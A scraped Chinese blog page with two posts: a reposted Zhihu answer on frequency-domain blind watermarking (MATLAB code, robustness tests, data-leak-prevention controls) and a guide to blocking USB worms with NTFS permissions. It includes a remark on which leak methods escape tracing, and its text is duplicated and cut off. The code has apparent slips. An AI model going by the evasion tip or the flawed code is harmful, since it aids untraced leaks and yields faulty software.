将上图与原图的频谱叠加,可见图像的频谱已经发生了巨大的变化, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/85474adf7decaa08b250be0ded87d7e6_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 之后,将叠加水印的频谱进行傅里叶逆变换,得到叠加数字水印后的图像, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/eb37e5719b7dbdc7c2f1fee82555a9d3_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 肉眼几乎看不出叠加水印后的图像与原图的差异,这样,数字盲水印已经叠加到图像中去。 实际上,我们是把水印以噪声的形式添加到原图像中。 下图是在空域上的加水印图与原图的残差(调整了对比度,不然残差调小看不见), &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/6bb2786fcadc1a7c340dd9dac6ff4df5_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 可以看出,实际上上述方法是通过频域添加冗余信息(像噪声一样)。这些噪声遍布全图,在空域上并不容易破坏。 最终,均方误差(MSE)为0.0244 信噪比(PSNR)为64.2dB 那么,为什么频谱发生了巨大的变化,而在空域却变化如此小呢?这是因为我们避开了图像的主要频率。下图是原图频谱竖过来的样子,其能量主要集中在低频。 &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/497b039be857a52ebdd060fe59da58ca_b.jpg" data-rawwidth="561" data-rawheight="420" class="origin_image zh-lightbox-thumb" width="561" data-original="https://img.nobb.cc/2022/497b039be857a52ebdd060fe59da58ca_r.jpg"&amp;amp;amp;gt;水印提取是水印叠加的逆过程,水印提取是水印叠加的逆过程, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/4f09483bfa5e0601aa77ed516bdf46fd_b.jpg" data-rawwidth="1158" data-rawheight="318" class="origin_image zh-lightbox-thumb" width="1158" data-original="https://img.nobb.cc/2022/4f09483bfa5e0601aa77ed516bdf46fd_r.jpg"&amp;amp;amp;gt; 经提取后,我们得到如下水印,问:为什么水印要对称呢?嘿嘿,大家想想看。 &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/ae69d7c600f12d5c236bd0ebfea0a361_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ## 三、攻击性实验 本部分进行攻击性实验,来验证通过频域手段叠加数字盲水印的鲁棒性。 ### 1.进行涂抹攻击,这是攻击后的图片: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/104994386bbf1e9b9cbea3eeb609264c_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 再进行水印提取: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/d269c1532e70d6de7c2060c2e18563e9_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 2.进行剪切攻击,就是网上经常用的截图截取一部分的情况: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/ad05d44a39b5a6af756d1c2aefc7ec1c_b.jpg" data-rawwidth="240" data-rawheight="240" class="content_image" width="240"&amp;amp;amp;gt; 进行循环补全: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/238231eb23a3b6589fec927bae928163_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 提取水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/cff34012b4b2005982bbd178a6d37c46_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 3.伸缩攻击(这个实验明码做的,水印能量较高,隐匿性不强): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/37aaa1b83edeafd61f039d7d788da0bf_b.jpg" data-rawwidth="150" data-rawheight="120" class="content_image" width="150"&amp;amp;amp;gt; 提取水印(水印加的不好,混频挺严重的): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/201871f587c91c544b9a6f4abb7b50ee_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 4.旋转攻击(明码): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/5ac9538cd769228a3ee9a1010a70ac66_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 提取水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/350b0512cf32ee01f389c0ddee3a1b43_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 5.JPEG压缩后(这个实验我好像是拿明码做的,能量主要加在了高频): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/7294860f10dd05dc07edf292f893f517_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 提取结果: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/f0eedd3f2c5a64dfb12806d056d53afe_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 6.PS 4像素马赛克/均值滤波等,攻击后图像(这是我女朋友吗?丑死了): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/1bdc3e13d618c4bde517d39be1abfe14_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 提取水印后图像: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/78dae620d32d3e0509ff99b848ac88f2_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 7.截屏, 截屏后我手动抠出要测试的图像区域,并且抽样或者插值到原图尺寸: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/32dfb311269481bb13e8da232c3a167d_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 测试结果: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/7883b1811c59826caf96e9a0742c8f2f_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 8. 亮度调节(明码): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/6164c4a16c0d536ae03b849e2f5f7cb0_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 水印提取: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/1e059b20263653d450c496f53a74b371_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 9.色相调节(明码): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/185bc9841a1a4b3bb77857268d9f5c33_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 水印提取: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/932c47bc2fd83f6a48f08e6e10218155_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 10.饱和度调节(明码): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/008d382b9979b3728229639f9535e42b_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/ece7657225fb4522d54562e555cf4478_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 11.对比度(明码): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/d8885103e3a556f769344789b4feb654_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/655d4e3d3175c75b727ee0746eed1164_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 12.评论区用waifu2x去噪后图片: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/bbe078c282f01ad5daf0c31d01375e47_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 解水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/c7f4a130b5668fd9eaacd03dfdb89f9b_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 13.美图秀秀,我对我女票一键美颜,美白,磨皮,加腮红,加唇彩(有一种很羞耻的感觉,捂脸): &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/d6bdb3a5d9bce0c6de409ce699129f54_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 提取水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/c7f4a130b5668fd9eaacd03dfdb89f9b_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; ### 14.对于背景纯色的图其实也是无所谓的 &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/a6edbc9a370dde28dc9e2f320a31ab50_b.jpg" data-rawwidth="320" data-rawheight="240" class="content_image" width="320"&amp;amp;amp;gt;能量系数为10时加水印图片:觉得太显噪就把能量系数调低,不过水印的隐秘性和鲁棒性是互斥的能量系数为10时加水印图片:觉得太显噪就把能量系数调低,不过水印的隐秘性和鲁棒性是互斥的 &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/2f8d121e7d8174299c2a8eddc4dca05e_b.jpg" data-rawwidth="320" data-rawheight="240" class="content_image" width="320"&amp;amp;amp;gt; 最终提取出的水印: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/29c89dd9595d0605e0ba70e657a3f358_b.jpg" data-rawwidth="320" data-rawheight="240" class="content_image" width="320"&amp;amp;amp;gt; ### 15.我用将RGB>600的像素设置成为(0,255,0)来模拟PS魔术手, &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/dd39d93e64b2ce44751e9358feb6d957_b.jpg" data-rawwidth="320" data-rawheight="240" class="content_image" width="320"&amp;amp;amp;gt; 提取水印为: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/cfb84d767e7cc6c7f7ffc3b4928c14a1_b.jpg" data-rawwidth="320" data-rawheight="240" class="content_image" width="320"&amp;amp;amp;gt; ### 16.屏摄,好吧,这个实验我做哭了 屏摄图: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/d92a632dde3a1583db4163dcf4d53b0a_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 实验结果: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/982aa30e34745873a6297a58213ebc6e_b.jpg" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"&amp;amp;amp;gt; 我把水印能量系数调整到2000都没有用。 屏摄之后与原图信噪比为4dB左右,我用多抽样滤波的方式试过,滤不掉屏摄引入的噪声。屏摄不仅引入了椒盐噪声,乘性噪声,还有有规律的雪花纹理(摩尔纹)。 ## 四、总结 基于频域的盲水印方法隐藏性强,鲁棒性高,能够抵御大部分攻击。但是,对于盲水印算法,鲁棒性和隐匿性是互斥的。 本文方法针对屏摄不行,我多次实验没有成功,哪位大神可以做一下或者讨论讨论。还有二值化不行,这是我想当然的,觉得肯定不行所以没做实验。其他的我试了试,用给出的方法调整一下能量系数都可以。 我想大家最关心的是什么最安全,不会被追踪。 不涉及图像的都安全,比如拿笔记下来。 涉及图像的屏摄最安全, 截屏十分不安全。 ## =====彩蛋===== &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/e043083a7f564fa9677d9a147ada4851_b.jpg" data-rawwidth="308" data-rawheight="231" class="content_image" width="308"&amp;amp;amp;gt;我在上图明码写入了信息。为了抵抗jpg压缩,我水印能量较高,并且因为没有编码,能量分布不均。图中规律性纹路,就是你懂的。嘿嘿,你懂的,解开看看吧。 我在上图明码写入了信息。为了抵抗jpg压缩,我水印能量较高,并且因为没有编码,能量分布不均。图中规律性纹路,就是你懂的。嘿嘿,你懂的,解开看看吧。 @杨一丁 在答案中给出了上图隐写的内容,(雾)。 ### 答案: 解码思路大概是这样的:先找到原图,然后和原图在频域处理一下,就可以得到下面的**链接了 ****************************** 才怪嘞!师兄可是个守法的知乎青年。送给大家一个励志良言: &amp;amp;amp;lt;img src="https://img.nobb.cc/2022/febd7e4cc7749016533716b4788362be_b.png" data-rawwidth="522" data-rawheight="341" class="origin_image zh-lightbox-thumb" width="522" data-original="https://img.nobb.cc/2022/febd7e4cc7749016533716b4788362be_r.png"&amp;amp;amp;gt; 五、附录%%傅里叶变换加水印源代码 %% 运行环境Matlab2010a clc;clear;close all; alpha = 1; %% read data im = double(imread('gl1.jpg'))/255; mark = double(imread('watermark.jpg'))/255; figure, imshow(im),title('original image'); figure, imshow(mark),title('watermark'); %% encode mark imsize = size(im); %random TH=zeros(imsize(1)*0.5,imsize(2),imsize(3)); TH1 = TH; TH1(1:size(mark,1),1:size(mark,2),:) = mark; M=randperm(0.5*imsize(1)); N=randperm(imsize(2)); save('encode.mat','M','N'); for i=1:imsize(1)*0.5 for j=1:imsize(2) TH(i,j,:)=TH1(M(i),N(j),:); end end % symmetric mark_ = zeros(imsize(1),imsize(2),imsize(3)); mark_(1:imsize(1)*0.5,1:imsize(2),:)=TH; for i=1:imsize(1)*0.5 for j=1:imsize(2) mark_(imsize(1)+1-i,imsize(2)+1-j,:)=TH(i,j,:); end end figure,imshow(mark_),title('encoded watermark'); %imwrite(mark_,'encoded watermark.jpg'); %% add watermark FA=fft2(im); figure,imshow(FA);title('spectrum of original image'); FB=FA+alpha*double(mark_); figure,imshow(FB); title('spectrum of watermarked image'); FAO=ifft2(FB); figure,imshow(FAO); title('watermarked image'); %imwrite(uint8(FAO),'watermarked image.jpg'); RI = FAO-double(im); figure,imshow(uint8(RI)); title('residual'); %imwrite(uint8(RI),'residual.jpg'); xl = 1:imsize(2); yl = 1:imsize(1); [xx,yy] = meshgrid(xl,yl); figure, plot3(xx,yy,FA(:,:,1).^2+FA(:,:,2).^2+FA(:,:,3).^2),title('spectrum of original image'); figure, plot3(xx,yy,FB(:,:,1).^2+FB(:,:,2).^2+FB(:,:,3).^2),title('spectrum of watermarked image'); figure, plot3(xx,yy,FB(:,:,1).^2+FB(:,:,2).^2+FB(:,:,3).^2-FA(:,:,1).^2+FA(:,:,2).^2+FA(:,:,3).^2),title('spectrum of watermark'); %% extract watermark FA2=fft2(FAO); G=(FA2-FA)/alpha; GG=G; for i=1:imsize(1)*0.5 for j=1:imsize(2) GG(M(i),N(j),:)=G(i,j,:); end end for i=1:imsize(1)*0.5 for j=1:imsize(2) GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:); end end figure,imshow(GG);title('extracted watermark'); %imwrite(uint8(GG),'extracted watermark.jpg'); %% MSE and PSNR C=double(im); RC=double(FAO); MSE=0; PSNR=0; for i=1:imsize(1) for j=1:imsize(2) MSE=MSE+(C(i,j)-RC(i,j)).^2; end end MSE=MSE/360.^2; PSNR=20*log10(255/sqrt(MSE)); MSE PSNR %% attack test %% attack by smearing %A = double(imread('gl1.jpg')); %B = double(imread('attacked image.jpg')); attack = 1-double(imread('attack.jpg'))/255; figure,imshow(attack); FAO_ = FAO; for i=1:imsize(1) for j=1:imsize(2) if attack(i,j,1)+attack(i,j,2)+attack(i,j,3)>0.5 FAO_(i,j,:) = attack(i,j,:); end end end figure,imshow(FAO_); %extract watermark FA2=fft2(FAO_); G=(FA2-FA)*2; GG=G; for i=1:imsize(1)*0.5 for j=1:imsize(2) GG(M(i),N(j),:)=G(i,j,:); end end for i=1:imsize(1)*0.5 for j=1:imsize(2) GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:); end end figure,imshow(GG);title('extracted watermark'); %% attack by cutting s2 = 0.8; FAO_ = FAO; FAO_(:,s2*imsize(2)+1:imsize(2),:) = FAO_(:,1:int32((1-s2)*imsize(2)),:); figure,imshow(FAO_); %extract watermark FA2=fft2(FAO_); G=(FA2-FA)*2; GG=G; for i=1:imsize(1)*0.5 for j=1:imsize(2) GG(M(i),N(j),:)=G(i,j,:); end end for i=1:imsize(1)*0.5 for j=1:imsize(2) GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:); end end figure,imshow(GG);title('extracted watermark'); %%小波变换加水印,解水印大家按照加的思路逆过来就好 clc;clear;close all; %% read data im = double(imread('gl1.jpg'))/255; mark = double(imread('watermark.jpg'))/255; figure, imshow(im),title('original image'); figure, imshow(mark),title('watermark'); %% RGB division im=double(im); mark=double(mark); imr=im(:,:,1); markr=mark(:,:,1); img=im(:,:,2); markg=mark(:,:,2); imb=im(:,:,3); markb=mark(:,:,3); %% parameter r=0.04; g = 0.04; b = 0.04; %% wavelet tranform and add watermark % for red [Cwr,Swr]=wavedec2(markr,1,'haar'); [Cr,Sr]=wavedec2(imr,2,'haar'); % add watermark Cr(1:size(Cwr,2)/16)=... Cr(1:size(Cwr,2)/16)+r*Cwr(1:size(Cwr,2)/16); k=0; while k<=size(Cr,2)/size(Cwr,2)-1 Cr(1+size(Cr,2)/4+k*size(Cwr,2)/4:size(Cr,2)/4+... (k+1)*size(Cwr,2)/4)=Cr(1+size(Cr,2)/4+... k*size(Cwr,2)/4:size(Cr,2)/4+(k+1)*size(Cwr,2)/4)+... r*Cwr(1+size(Cwr,2)/4:size(Cwr,2)/2); Cr(1+size(Cr,2)/2+k*size(Cwr,2)/4:size(Cr,2)/2+... (k+1)*size(Cwr,2)/4)=Cr(1+size(Cr,2)/2+... k*size(Cwr,2)/4:size(Cr,2)/2+(k+1)*size(Cwr,2)/4)+... r*Cwr(1+size(Cwr,2)/2:3*size(Cwr,2)/4); Cr(1+3*size(Cwr,2)/4+k*size(Cwr,2)/4:3*size(Cwr,2)/4+... (k+1)*size(Cwr,2)/4)=Cr(1+3*size(Cr,2)/4+... k*size(Cwr,2)/4:3*size(Cr,2)/4+(k+1)*size(Cwr,2)/4)+... r*Cwr(1+3*size(Cwr,2)/4:size(Cwr,2)); k=k+1; end; Cr(1:size(Cwr,2)/4)=Cr(1:size(Cwr,2)/4)+r*Cwr(1:size(Cwr,2)/4); % for green [Cwg,Swg]=WAVEDEC2(markg,1,'haar'); [Cg,Sg]=WAVEDEC2(img,2,'haar'); Cg(1:size(Cwg,2)/16)=... Cg(1:size(Cwg,2)/16)+g*Cwg(1:size(Cwg,2)/16); k=0; while k<=size(Cg,2)/size(Cwg,2)-1 Cg(1+size(Cg,2)/4+k*size(Cwg,2)/4:size(Cg,2)/4+... (k+1)*size(Cwg,2)/4)=Cg(1+size(Cg,2)/4+... k*size(Cwg,2)/4:size(Cg,2)/4+(k+1)*size(Cwg,2)/4)+... g*Cwg(1+size(Cwg,2)/4:size(Cwg,2)/2); Cg(1+size(Cg,2)/2+k*size(Cwg,2)/4:size(Cg,2)/2+... (k+1)*size(Cwg,2)/4)=Cg(1+size(Cg,2)/2+... k*size(Cwg,2)/4:size(Cg,2)/2+(k+1)*size(Cwg,2)/4)+... g*Cwg(1+size(Cwg,2)/2:3*size(Cwg,2)/4); Cg(1+3*size(Cg,2)/4+k*size(Cwg,2)/4:3*size(Cg,2)/4+... (k+1)*size(Cwg,2)/4)=Cg(1+3*size(Cg,2)/4+... k*size(Cwg,2)/4:3*size(Cg,2)/4+(k+1)*size(Cwg,2)/4)+... g*Cwg(1+3*size(Cwg,2)/4:size(Cwg,2)); k=k+1; end; Cg(1:size(Cwg,2)/4)=Cg(1:size(Cwg,2)/4)+g*Cwg(1:size(Cwg,2)/4); % for blue [Cwb,Swb]=WAVEDEC2(markb,1,'haar'); [Cb,Sb]=WAVEDEC2(imb,2,'haar'); Cb(1:size(Cwb,2)/16)+b*Cwb(1:size(Cwb,2)/16); k=0; while k<=size(Cb,2)/size(Cwb,2)-1 Cb(1+size(Cb,2)/4+k*size(Cwb,2)/4:size(Cb,2)/4+... (k+1)*size(Cwb,2)/4)=Cb(1+size(Cb,2)/4+... k*size(Cwb,2)/4:size(Cb,2)/4+(k+1)*size(Cwb,2)/4)+... g*Cwb(1+size(Cwb,2)/4:size(Cwb,2)/2); Cb(1+size(Cb,2)/2+k*size(Cwb,2)/4:size(Cb,2)/2+... (k+1)*size(Cwb,2)/4)=Cb(1+size(Cb,2)/2+... k*size(Cwb,2)/4:size(Cb,2)/2+(k+1)*size(Cwb,2)/4)+... b*Cwb(1+size(Cwb,2)/2:3*size(Cwb,2)/4); Cb(1+3*size(Cb,2)/4+k*size(Cwb,2)/4:3*size(Cb,2)/4+... (k+1)*size(Cwb,2)/4)=Cb(1+3*size(Cb,2)/4+... k*size(Cwb,2)/4:3*size(Cb,2)/4+(k+1)*size(Cwb,2)/4)+... b*Cwb(1+3*size(Cwb,2)/4:size(Cwb,2)); k=k+1; end; Cb(1:size(Cwb,2)/4)=Cb(1:size(Cwb,2)/4)+b*Cwb(1:size(Cwb,2)/4); %% image reconstruction imr=WAVEREC2(Cr,Sr,'haar'); img=WAVEREC2(Cg,Sg,'haar'); imb=WAVEREC2(Cb,Sb,'haar'); imsize=size(imr); FAO=zeros(imsize(1),imsize(2),3); for i=1:imsize(1); for j=1:imsize(2); FAO(i,j,1)=imr(i,j); FAO(i,j,2)=img(i,j); FAO(i,j,3)=imb(i,j); end end figure, imshow(FAO); title('watermarked image');他人回答:@shotgun其实如果防御做得好,想绕过还真的没那么容易。按照DLP,也就是数据防泄密的思路:1.重要的图片或者文档内加水印,文件里面再加上全息数字水印(这个大家都说得很全面了)然而这就足够了吗?或者说只有这些防护?乃义务!2.所有终端监控敏感操作:另存、截屏、剪贴板、对敏感文档的操作等等,上述行为一律上传到审计服务器上备份待查。3.禁止未授权(未安装终端防护程序)的终端接入内网和业务系统。4.有敏感操作或者跨终端登录的时候通过摄像头拍摄人脸(知道为什么扎克伯格要贴摄像头了吧)5.定期对硬盘进行文件扫描,关键字、相似度、OCR等方法识别出可能是敏感或者涉密的文件,并提取特征,进行标定。6.同样采用散列值、关键字、相似度匹配等方法检查所有网络出口:邮件、聊天、网站、网盘等,对传输内容全部解码进行审计并且记录。7.检查或者关闭所有物理出口,USB、Wi-Fi、蓝牙、音频口(防止通过耳机口盗窃数据)。8.所有文件落地加密(文件加密或者全盘加密),偷硬盘也没用。9.所有电子设备进出办公区域全部审核检查。10.核心机密文档不落地,存放于核心服务器,采用远程终端或者虚拟窗口方式查阅/编辑。别笑,富士康和华为基本上就是这么干的。他人回答:@鹿鳴cx貌似这不是简单的水印。实际上这还真就是最简单的水印而已。“做到”是极简单的事情,至于说能做到什么程度,那是另一回事。一般简单的基于变换域的信息隐藏技术,比如离散余弦变换、小波变换等,足以抵抗常见的压缩、剪切等处理。举个很常见的例子:&lt;img data-rawheight="450" data-rawwidth="210" src="https://img.nobb.cc/2022/2d0bd681997bc386d5a69110a229123e_b.jpg" class="content_image" width="210"&gt;不好意思,手抖发错了。重发一下:不好意思,手抖发错了。重发一下:&lt;img data-rawheight="654" data-rawwidth="568" src="https://img.nobb.cc/2022/aab3ddcd48b28892603b9aa5ed84e6be_b.png" class="origin_image zh-lightbox-thumb" width="568" data-original="https://img.nobb.cc/2022/aab3ddcd48b28892603b9aa5ed84e6be_r.png"&gt;图片出处:《数字隐藏与数字水印》钮心忻主编。图片出处:《数字隐藏与数字水印》钮心忻主编。君不见,小小一幅图,足够老司机飙N次重卡了。
2016年09月23日
125 阅读
0 评论
0 点赞
2016-06-11
禁止U盘写入方法 防U盘中毒高招
清楚了病毒的机理之后就可以对症下药了,关键的一步是阻止病毒在U盘里面写入文件。如果只是在你自己电脑上用,就很简单了,N多软件可以让WINDOWS只读不写,但是U盘经常会插到别人电脑上,如何在别人的电脑上禁止写入就是本文要探讨的问题了。如果你的U盘或者读卡器有写保护开关,那你就不用往下看了,因为你只要打开写保护,U盘就不能写入任何文件了,当然也不会中毒。没有写保护的U盘如何操作呢?本来想到了好几个思路,第一,让U盘在WINDOWS下识别成光盘,只读不写,这种方法可以实现,但是实现之后自己对U盘里面文件的操作将变得非常麻烦,第二,用加密软件,让U盘变成非WINDOWS下常规的读写方式,这个没有去试,不知道有没有这样的软件,第三,将U盘的剩余空间填满,不给病毒留空间,但是想了一下不太现实,首先要生成占位文件不是一种非常方便的事情,其次自己对文件的操作不方便,而且可能让程序异常,第三也不能保证小体积的文件无法写入。最后只能想到用NTFS的权限大法了。试验了一下午终于成功,跟大家分享一下。首先要将U盘格式化成NTFS格式,当然,备份好自己的文件就不多说了。可以当我们右键点击U盘图标要格式化的时候,发现格式中没有NTFS!这个问题网上给出了好几种解决办法,有一种是用软件,没去试,另一种是改设置,试验成功。打开U盘的属性,硬件,然后选中U盘(如果不知道哪个是U盘的话就都记下,然后把U盘拔了看少了哪个),属性,策略,改为“为提高性能而优化”,再格式化就有了NTFS了。压缩建议不开,因为开了拷文件会很慢。第二步就是设置权限,在U盘图标上点右键,属性,安全,将所有用户删除,然后再添加你的电脑的常用用户,也就是你登录系统输入密码时的用户,如果不知道的话右键我的电脑,管理,本地用户和组,然后看哪个是。对这个用户给予所有权限。再添加一个EVERYONE用户,对这个用户不给写入、修改之类的权限,但是要给读取的权限。到这里我们的主体工作就已经基本完成了,换台电脑试试,怎么样,是不是不能写入任何文件了?嗯。毒是防了,可是除了我们自己的电脑外,在别处不能拷文件进去了,那还要U盘干嘛?下一步就是解决在别处电脑上拷文件进来的问题。其实也是想了好久的,后来实在是发现病毒写文件和我们自己拷文件没有本质的区别,只是位置不一样,于是我们也只好专门开一个文件夹来拷文件了。将U盘插回自己常用的电脑上,然后新建一个文件夹,专门用来在以后拷文件。然后对这个文件夹设置权限,方法和前面一样,打开这个文件夹的属性,安全。直接点击高级,下面有两个选项,第一个去掉,是为了让这个文件夹和根目录的权限不一样。然后修改EVERYONE的权限。将“应用到”改为“只有该文件夹”,然后加上一些写入什么的权限,不要给“写入属性”“写入扩展属性”之类的权限,不然它会被病毒隐藏,这一步是修改了这个文件夹本身的权限。确定后再添加一个权限,用户名是EVERYONE,应用到“只有子文件夹和文件”,可以把所有的权限基本都给,除了最后的更改权限和取得所有者,当然还有最上面的所有权限。这一步是设定这个文件夹里面的文件的权限。也可以修改一下,比如给写入不给删除,这样这个文件夹里面的文件就只能写不能删了。好了,设置完了,这样你的U盘就彻底防毒了。要拷东西时就拷进指定的文件夹就OK。稍微有些不爽的是不能直接使用“发送到”功能写入U盘。注:本文所有菜单的文字均按WINDOWS XP的写的,如果是更高版本的系统可以自己看着办,方法都差不多。另外,这样制作出来的U盘是无法在WIN98和WIN ME下读取的,不过相信这个年代没有用这系统了的吧。另外UBUNTU是支持NTFS的挂载的,所以理论上在UBUNTU下可以读取,权限就不清楚了,这具具体没试验过。另外其他的LINUX也没试验。为照顾不太懂这方面的同学,我们先解释一下目前U盘病毒经常会做哪些事情。首先,病毒会将U盘根目录下的文件夹隐藏,然后生成同名的EXE文件,图标为文件夹的图标。比如U盘根目录下有一个文件夹名为“学习”,那么病毒会将它隐藏,然后生成一个“学习.EXE”的可执行文件,图标和WINDOWS默认的文件夹图标一模一样。如果在开启了“显示隐藏文件”和“显示已知类型文件的后缀名”的电脑上,能清晰地看到这一事实。如果你看不到,也不要紧,看一下属性,文件夹和文件的属性是不一样的。千万不要随意点击,不然点一次就是运行一次病毒。然后,大部分的病毒会在根目录写入AUTORUN.INF,这个文件的作用是用来实现病毒的自动运行的,具体机制见搜索。有了这个文件,U盘右键里的“打开”、“资源管理器”之类的就不再安全了,因为可能是运行病毒的途径。这里顺利多说几句,防止AUTORUN.INF起作用的方法很多,第一是软件,360安全卫士,USBCleaner之类的软件还有诸多杀毒软件都有这项功能,第二是从其他地方进入U盘,比如在开始菜单点右键进入资源管理器,或者直接按WIN+E进入资源管理器,或者在地址栏输入U盘盘符如“I:”,或者在CMD中进入U盘盘符然后输入“start.”等等。总之不要随意双击U盘图标或者通过右键进入。解释清楚了病毒的机理之后就可以对症下药了,关键的一步是阻止病毒在U盘里面写入文件。如果只是在你自己电脑上用,就很简单了,N多软件可以让WINDOWS只读不写,但是U盘经常会插到别人电脑上,如何在别人的电脑上禁止写入就是本文要探讨的问题了。如果你的U盘或者读卡器有写保护开关,那你就不用往下看了,因为你只要打开写保护,U盘就不能写入任何文件了,当然也不会中毒。没有写保护的U盘如何操作呢?本来想到了好几个思路,第一,让U盘在WINDOWS下识别成光盘,只读不写,这种方法可以实现,但是实现之后自己对U盘里面文件的操作将变得非常麻烦,第二,用加密软件,让U盘变成非WINDOWS下常规的读写方式,这个没有去试,不知道有没有这样的软件,第三,将U盘的剩余空间填满,不给病毒留空间,但是想了一下不太现实,首先要生成占位文件不是一种非常方便的事情,其次自己对文件的操作不方便,而且可能让程序异常,第三也不能保证小体积的文件无法写入。最后只能想到用NTFS的权限大法了。试验了一下午终于成功,跟大家分享一下。首先要将U盘格式化成NTFS格式,当然,备份好自己的文件就不多说了。可以当我们右键点击U盘图标要格式化的时候,发现格式中没有NTFS!这个问题网上给出了好几种解决办法,有一种是用软件,没去试,另一种是改设置,试验成功。打开U盘的属性,硬件,然后选中U盘(如果不知道哪个是U盘的话就都记下,然后把U盘拔了看少了哪个),属性,策略,改为“为提高性能而优化”,再格式化就有了NTFS了。压缩建议不开,因为开了拷文件会很慢。第二步就是设置权限,在U盘图标上点右键,属性,安全,将所有用户删除,然后再添加你的电脑的常用用户,也就是你登录系统输入密码时的用户,如果不知道的话右键我的电脑,管理,本地用户和组,然后看哪个是。对这个用户给予所有权限。再添加一个EVERYONE用户,对这个用户不给写入、修改之类的权限,但是要给读取的权限。到这里我们的主体工作就已经基本完成了,换台电脑试试,怎么样,是不是不能写入任何文件了?嗯。毒是防了,可是除了我们自己的电脑外,在别处不能拷文件进去了,那还要U盘干嘛?下一步就是解决在别处电脑上拷文件进来的问题。其实也是想了好久的,后来实在是发现病毒写文件和我们自己拷文件没有本质的区别,只是位置不一样,于是我们也只好专门开一个文件夹来拷文件了。将U盘插回自己常用的电脑上,然后新建